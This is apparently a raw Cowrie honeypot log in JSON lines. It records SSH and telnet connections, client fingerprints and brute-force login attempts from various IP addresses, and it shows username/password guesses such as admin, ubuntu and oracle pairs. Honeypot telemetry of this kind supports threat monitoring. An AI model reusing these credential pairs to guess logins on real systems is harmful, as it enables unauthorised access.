{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:17.373994Z","src_ip":"103.176.20.115","session":"bc42ce64c757","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:18.397550Z","src_ip":"103.176.20.115","session":"bc42ce64c757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:18.649112Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:18.653998Z","src_ip":"103.176.20.115","session":"bc42ce64c757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48942,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8418d9eda28","protocol":"telnet","message":"New connection: 62.210.97.77:48942 (10.17.0.5:23) [session: b8418d9eda28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:24.143790Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"067d7042d1cd","protocol":"ssh","message":"New connection: 20.203.42.204:46938 (159.203.135.109:22) [session: 067d7042d1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:26.284010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:26.288433Z","src_ip":"20.203.42.204","session":"067d7042d1cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:26.454952Z","src_ip":"20.203.42.204","session":"067d7042d1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"12345678","message":"login attempt [smbuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:27.153419Z","src_ip":"20.203.42.204","session":"067d7042d1cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:28.322116Z","src_ip":"20.203.42.204","session":"067d7042d1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":32922,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2f1d8302439","protocol":"ssh","message":"New connection: 61.72.55.130:32922 (159.203.135.109:22) [session: f2f1d8302439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:31.889040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:31.894680Z","src_ip":"61.72.55.130","session":"f2f1d8302439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:32.093451Z","src_ip":"61.72.55.130","session":"f2f1d8302439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567","message":"login attempt [ubuntu/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:32.921097Z","src_ip":"61.72.55.130","session":"f2f1d8302439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:34.122627Z","src_ip":"61.72.55.130","session":"f2f1d8302439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.61848855018616,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:42.813860Z","src_ip":"38.54.119.93","session":"9fed0e1ecf5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59708,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbf74a60a47","protocol":"telnet","message":"New connection: 65.60.27.33:59708 (10.17.0.5:23) [session: 5dbf74a60a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:56.659312Z"}
{"eventid":"cowrie.session.closed","duration":63.859187602996826,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:57.184500Z","src_ip":"165.232.131.181","session":"00f20472dc89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46252,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb84f830f5f","protocol":"telnet","message":"New connection: 45.81.23.16:46252 (10.17.0.5:23) [session: cfb84f830f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:00.582419Z"}
{"eventid":"cowrie.session.closed","duration":4.15489935874939,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:00.814100Z","src_ip":"65.60.27.33","session":"5dbf74a60a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46258,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff336491daae","protocol":"telnet","message":"New connection: 45.81.23.16:46258 (10.17.0.5:23) [session: ff336491daae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:00.991825Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46272,"dst_ip":"10.17.0.5","dst_port":23,"session":"968555b8c486","protocol":"telnet","message":"New connection: 45.81.23.16:46272 (10.17.0.5:23) [session: 968555b8c486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:02.102885Z"}
{"eventid":"cowrie.session.closed","duration":38.04842400550842,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:02.192124Z","src_ip":"62.210.97.77","session":"b8418d9eda28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.167944431304932,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:09.159682Z","src_ip":"45.81.23.16","session":"ff336491daae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.130068063735962,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:13.232853Z","src_ip":"45.81.23.16","session":"968555b8c486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.381463766098022,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:13.963802Z","src_ip":"45.81.23.16","session":"cfb84f830f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":36772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5e11db8f4ee","protocol":"ssh","message":"New connection: 103.176.20.115:36772 (10.17.0.5:22) [session: f5e11db8f4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:14.221546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:14.226424Z","src_ip":"103.176.20.115","session":"f5e11db8f4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:14.482639Z","src_ip":"103.176.20.115","session":"f5e11db8f4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Huawei12#$","message":"login attempt [test/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:15.537724Z","src_ip":"103.176.20.115","session":"f5e11db8f4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:16.796491Z","src_ip":"103.176.20.115","session":"f5e11db8f4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fca38c010a6","protocol":"telnet","message":"New connection: 165.232.131.181:51062 (10.17.0.5:23) [session: 9fca38c010a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:26.200459Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":35726,"dst_ip":"159.203.135.109","dst_port":22,"session":"86119842acc5","protocol":"ssh","message":"New connection: 61.72.55.130:35726 (159.203.135.109:22) [session: 86119842acc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:30.400837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:30.406289Z","src_ip":"61.72.55.130","session":"86119842acc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:30.603808Z","src_ip":"61.72.55.130","session":"86119842acc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@","message":"login attempt [dev/dev@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:31.422407Z","src_ip":"61.72.55.130","session":"86119842acc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39898,"dst_ip":"10.17.0.5","dst_port":23,"session":"1627a16bca34","protocol":"telnet","message":"New connection: 65.60.27.33:39898 (10.17.0.5:23) [session: 1627a16bca34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:32.170196Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:32.621124Z","src_ip":"61.72.55.130","session":"86119842acc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf4eefbaba8","protocol":"telnet","message":"New connection: 38.54.119.93:47614 (10.17.0.5:23) [session: 4cf4eefbaba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:33.919114Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44060,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee26aa4783a4","protocol":"telnet","message":"New connection: 65.60.27.33:44060 (10.17.0.5:23) [session: ee26aa4783a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:36.055485Z"}
{"eventid":"cowrie.session.closed","duration":3.337354898452759,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:39.392763Z","src_ip":"65.60.27.33","session":"ee26aa4783a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":60480,"dst_ip":"159.203.135.109","dst_port":23,"session":"383f0a1d9340","protocol":"telnet","message":"New connection: 192.211.53.160:60480 (159.203.135.109:23) [session: 383f0a1d9340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:40.640356Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":60478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a94daa30383","protocol":"telnet","message":"New connection: 192.211.53.160:60478 (159.203.135.109:23) [session: 8a94daa30383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:40.668984Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51878,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba731fa59372","protocol":"telnet","message":"New connection: 38.54.119.93:51878 (10.17.0.5:23) [session: ba731fa59372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:41.576878Z"}
{"eventid":"cowrie.session.closed","duration":7.445059061050415,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:49.021851Z","src_ip":"38.54.119.93","session":"ba731fa59372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58262,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3248d5addb9","protocol":"telnet","message":"New connection: 38.54.119.93:58262 (10.17.0.5:23) [session: f3248d5addb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:52.406418Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":57921,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea0ce7663e9","protocol":"ssh","message":"New connection: 2.57.121.112:57921 (159.203.135.109:22) [session: 0ea0ce7663e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:53.978910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:53.983371Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:54.084211Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14031975","message":"login attempt [admin/14031975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:54.561701Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1403","message":"login attempt [admin/1403] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:55.665341Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140281","message":"login attempt [admin/140281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:56.769644Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140193","message":"login attempt [admin/140193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:57.878373Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1362","message":"login attempt [admin/1362] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:58.982890Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.432087421417236,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:52:59.838384Z","src_ip":"38.54.119.93","session":"f3248d5addb9","protocol":"telnet"}
